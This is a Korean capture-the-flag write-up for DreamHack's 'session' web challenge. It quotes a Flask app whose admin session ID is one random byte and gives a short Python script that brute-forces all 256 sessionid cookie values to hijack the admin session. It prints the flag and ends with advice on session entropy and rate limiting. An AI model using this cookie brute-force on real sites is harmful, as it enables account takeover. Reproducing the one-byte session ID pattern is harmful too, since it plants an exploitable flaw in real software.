[🌱 새싹] admin 세션 ID가 단 1바이트였다 — DreamHack session 풀이

문제: DreamHack — session 분류: Web 난이도: 🌱 새싹 (Sprout) FLAG: DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}

로그인하면 "Hello guest, you are not admin", admin으로 들어가면 flag를 보여 주는 흔한 로그인 페이지다. 그런데 admin 비밀번호가 곧 flag라 정공법은 막혀 있다. 진짜 빈틈은 비밀번호가 아니라 세션을 식별하는 쿠키 값에 있었다.

문제 개요

풀이는 짧다. 소스에서 "세션을 어떻게 만드는가"만 보면 된다. 일반 세션은 4바이트지만 admin 세션은 1바이트라, sessionid 쿠키를 00부터 ff까지 256번 바꿔 보내면 그 안에 반드시 admin 세션이 들어 있다.

🧩 배경 — 쿠키로 로그인을 기억하는 방식

HTTP는 요청마다 연결이 끊기는 무상태(stateless) 프로토콜이라, "이 사람은 방금 로그인한 그 사람"이라는 사실을 따로 기억해야 한다. 가장 흔한 방법이 서버 측 세션이다.

1. 로그인에 성공하면 서버가 임의의 세션 ID를 하나 만든다.
2. 서버는 세션 ID → 사용자 매핑을 메모리(또는 DB)에 저장한다.
3. 그 세션 ID를 Set-Cookie 로 브라우저에 내려보낸다.
4. 이후 브라우저는 매 요청에 Cookie: sessionid=... 를 자동으로 붙이고, 서버는 그 값으로 사용자를 되찾는다.

여기서 보안의 전제는 단 하나다. 세션 ID는 남이 추측할 수 없어야 한다. 추측 가능하면 비밀번호를 몰라도 남의 세션을 그대로 가져다 쓸 수 있기 때문이다(세션 하이재킹). 그래서 보통 세션 ID는 충분히 긴 난수(16바이트 이상)로 만든다. 이 문제는 그 "충분히 긴"을 admin에게만 어겼다.

🔬 코드 정찰

제공된 app.py 는 한 화면이다. 통째로 본다.

cat -n extracted/app.py

먼저 사용자 목록과 세션 저장소. admin의 비밀번호가 그대로 FLAG 다.

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}
 
session_storage = {
}

/login 은 아이디·비밀번호가 맞으면 세션을 발급한다.

if pw == password:
    resp = make_response(redirect(url_for('index')))
    session_id = os.urandom(4).hex()      # 일반 사용자: 4바이트 = 8 hex
    session_storage[session_id] = username
    resp.set_cookie('sessionid', session_id)
    return resp

/ 는 쿠키의 sessionid 로 저장소를 조회해, 그 세션의 주인이 admin이면 flag를 찍는다.

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')
    return render_template('index.html',
        text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

로그인 자체는 평범하게 동작한다. 안내 주석대로 guest / guest 로 들어가 보면, 세션은 잡히지만 admin이 아니라 flag는 안 보인다.

flag를 보려면 결국 admin 세션이 필요하다. 그런데 admin 비밀번호는 flag라서 로그인으로는 못 만든다. 그러면 admin 세션은 대체 어디서 생기는가? 파일 맨 아래, 서버 시작 코드에 답이 있다.

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'   # ← 부팅 때 admin 세션을 미리 깔아 둔다
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

서버는 부팅하면서 admin 세션을 하나 미리 만들어 저장소에 넣어 둔다. 우리가 로그인할 필요 없이, 이미 살아 있는 admin 세션이 메모리에 있다는 뜻이다. 남은 건 그 세션 ID를 맞히는 것뿐이다.

💣 핵심 취약점 — admin 세션 ID는 단 1바이트

일반 세션과 admin 세션을 만드는 코드를 나란히 두면 차이가 한눈에 보인다.

os.urandom(1) 은 바이트 하나를 돌려주고, .hex() 는 그걸 두 글자 16진수 문자열로 바꾼다. 즉 admin 세션 ID가 가질 수 있는 값은 00, 01, ... ff — 정확히 256개가 전부다. 직접 찍어 보면 감이 온다.

import os
print([os.urandom(1).hex() for _ in range(6)])      # 매번 두 글자 hex
print('전체 경우의 수:', len(set(f'{i:02x}' for i in range(256))), '개  (00 ~ ff)')

256가지밖에 안 되는 값은 "난수"라고 부르기 민망하다. 쿠키 sessionid 를 00부터 ff까지 한 번씩 바꿔 / 를 호출하면, 그중 정확히 한 번은 부팅 때 깔린 admin 세션과 일치한다. 그 응답에는 flag is ... 가 박혀 나온다.

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG          # ← admin 비밀번호 = 우리가 찾는 flag 그 자체
}

🎯 익스플로잇

할 일은 명확하다. sessionid 쿠키를 00부터 ff까지 256번 갈아 끼우며 / 를 요청하고, 응답에 flag가 보이는 값을 찾는다.

import requests
 
BASE = "http://host3.dreamhack.games:17749/"
 
s = requests.Session()
for i in range(256):
    sid = f"{i:02x}"           # 00 .. ff
    r = s.get(BASE, cookies={"sessionid": sid}, timeout=5)
    if "DH{" in r.text or "flag is" in r.text:
        for line in r.text.splitlines():
            if "DH{" in line or "flag is" in line:
                print(f"[+] sessionid={sid}  ->  {line.strip()}")
        break

이 서버 인스턴스에서는 7c 에서 걸렸다(부팅마다 값은 달라진다 — 어차피 256번 안에 나온다).

브라우저로도 똑같이 확인할 수 있다. 개발자도구 콘솔에서 document.cookie = 'sessionid=7c' 로 쿠키를 바꾸고 새로고침하면 admin으로 인식돼 flag가 그대로 나온다.

DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}

📝 결론

세션 ID의 엔트로피가 곧 인증의 강도다. 비밀번호를 아무리 길게 잡아도, 로그인한 결과를 대신 식별하는 세션 ID가 256가지뿐이면 비밀번호를 우회해 버린다. 이 문제는 일반 사용자에겐 4바이트(os.urandom(4))를 쓰면서 정작 가장 중요한 admin 세션에만 1바이트(os.urandom(1))를 쓴, 한 글자짜리 실수다.

방어는 단순하다.

1. 세션 ID는 충분히 길고 예측 불가능한 난수로. 최소 16바이트(os.urandom(16) 이상), 혹은 secrets.token_hex(16) 처럼 암호학적 난수 전용 API를 쓴다. 1·4바이트처럼 짧게 잡지 않는다.
2. 세션 관리는 직접 만들지 말고 검증된 구현에 맡긴다. Flask라면 app.secret_key 를 둔 서명 세션(flask.session)이나 Flask-Login 같은 라이브러리를 쓴다 — 길이·서명·만료를 알아서 챙겨 준다.
3. 무차별 대입을 탐지·차단한다. 짧은 시간에 수백 번 쿠키만 바꿔 같은 경로를 두드리는 요청은 비정상이다. 속도 제한(rate limit)과 이상 탐지로 256번짜리 전수 대입 자체를 막을 수 있다.

쉬운 문제지만 교훈은 묵직하다. 인증에서 "추측 불가능"을 보장하는 건 비밀번호만이 아니라, 그 인증 결과를 들고 다니는 토큰의 엔트로피다.